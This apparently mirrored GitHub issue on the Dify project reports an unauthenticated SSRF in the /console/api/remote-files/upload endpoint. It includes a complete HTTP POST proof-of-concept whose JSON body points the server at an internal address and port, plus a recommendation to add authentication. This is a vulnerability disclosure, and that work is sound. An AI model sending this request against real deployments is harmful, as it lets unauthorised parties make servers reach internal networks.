langgenius/dify
1
0
Fork 0
mirror of https://github.com/langgenius/dify.git synced 2026-07-21 20:15:31 -04:00
Code Issues 775 Packages Projects Releases 10 Wiki Activity

Unauthorized SSRF vulnerability in controllers.console.remote_files.RemoteFileUploadApi #9711

New Issue
Closed
opened 2026-02-21 18:38:02 -05:00 by yindo · 0 comments
yindo commented 2026-02-21 18:38:02 -05:00
Owner
Copy Link
Copy Source

Originally created by @UzJu on GitHub (Mar 6, 2025).

Originally assigned to: @Yeuoly, @crazywoola on GitHub.

Self Checks

  • This is only for bug report, if you would like to ask a question, please head to Discussions.
  • I have searched for existing issues search for existing issues, including closed ones.
  • I confirm that I am using English to submit this report (我已阅读并同意 Language Policy).
  • [FOR CHINESE USERS] 请务必使用英文提交 Issue，否则会被关闭。谢谢！:）
  • Please do not modify this template :) and fill in all the required fields.

Dify version

1.0.0

Cloud or Self Hosted

Self Hosted (Docker)

Steps to reproduce

The class controllers.console.remote_files.RemoteFileUploadApi will get the URL parameter to initiate the request externally through ssrf_proxy.head, but actually ssrf_proxy.head calls core.helper.ssrf_ proxy.make_request, will also unconditionally outbound request, theoretically if this is a business function, please do the authentication process for the interface, do not let unauthorized users access the

  • controllers.console.remote_files.RemoteFileUploadApi

Image

Image

POST /console/api/remote-files/upload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
Content-Type: application/json

{"url":"http://192.168.1.94:1234"}

At this point my terminal received the request normally

Image

Image
Restoration Recommendations
If this is a normal function that requires access to a remote address, then it is recommended to authenticate the interface

✔️ Expected Behavior

If this is a normal function that requires access to a remote address, then it is recommended to authenticate the interface

❌ Actual Behavior

No response

Originally created by @UzJu on GitHub (Mar 6, 2025). Originally assigned to: @Yeuoly, @crazywoola on GitHub. ### Self Checks - [x] This is only for bug report, if you would like to ask a question, please head to [Discussions](https://github.com/langgenius/dify/discussions/categories/general). - [x] I have searched for existing issues [search for existing issues](https://github.com/langgenius/dify/issues), including closed ones. - [x] I confirm that I am using English to submit this report (我已阅读并同意 [Language Policy](https://github.com/langgenius/dify/issues/1542)). - [x] [FOR CHINESE USERS] 请务必使用英文提交 Issue，否则会被关闭。谢谢！:） - [x] Please do not modify this template :) and fill in all the required fields. ### Dify version 1.0.0 ### Cloud or Self Hosted Self Hosted (Docker) ### Steps to reproduce The class controllers.console.remote_files.RemoteFileUploadApi will get the URL parameter to initiate the request externally through ssrf_proxy.head, but actually ssrf_proxy.head calls core.helper.ssrf_ proxy.make_request, will also unconditionally outbound request, theoretically if this is a business function, please do the authentication process for the interface, do not let unauthorized users access the - controllers.console.remote_files.RemoteFileUploadApi ![Image](https://github.com/user-attachments/assets/7cf5069d-7a91-4acc-8cf7-b247bf6c0b29) ![Image](https://github.com/user-attachments/assets/078b2bef-0a4e-4348-83ee-5a4ee3e4c4d8) ```http POST /console/api/remote-files/upload HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Priority: u=0, i Content-Type: application/json {"url":"http://192.168.1.94:1234"} ``` At this point my terminal received the request normally <img width="566" alt="Image" src="https://github.com/user-attachments/assets/8122c314-8dc9-4f2e-924f-accc5621ee10" /> ![Image](https://github.com/user-attachments/assets/74d83d72-6763-49e4-acbe-bd7a308c2fe4) Restoration Recommendations If this is a normal function that requires access to a remote address, then it is recommended to authenticate the interface ### ✔️ Expected Behavior If this is a normal function that requires access to a remote address, then it is recommended to authenticate the interface ### ❌ Actual Behavior _No response_
yindo added the 🐞 bugvulnerablity labels 2026-02-21 18:38:02 -05:00
yindo closed this issue 2026-02-21 18:38:02 -05:00
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
Knowledge Pipeline
Proposal
WIP
cloud
dependencies
feat:webapp
good first issue
outdated
performance
pull-request
Mirrored from GitHub Pull Request
 python:uv
refactor
size:L
stale
status: accepting prs
status: blocked
status: in discussion
stt & tts
vulnerablity
web
wont-fix
🌊 feat:workflow
🌚 invalid
🐞 bug
👻 feat:rag
💪 enhancement
📚 documentation
🔨 feat:tools
🙋‍♂️ question
🙏 help wanted
🤔 cant-reproduce
🤖 feat:agent
No Label vulnerablity 🐞 bug
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
yindo
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: langgenius/dify#9711
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?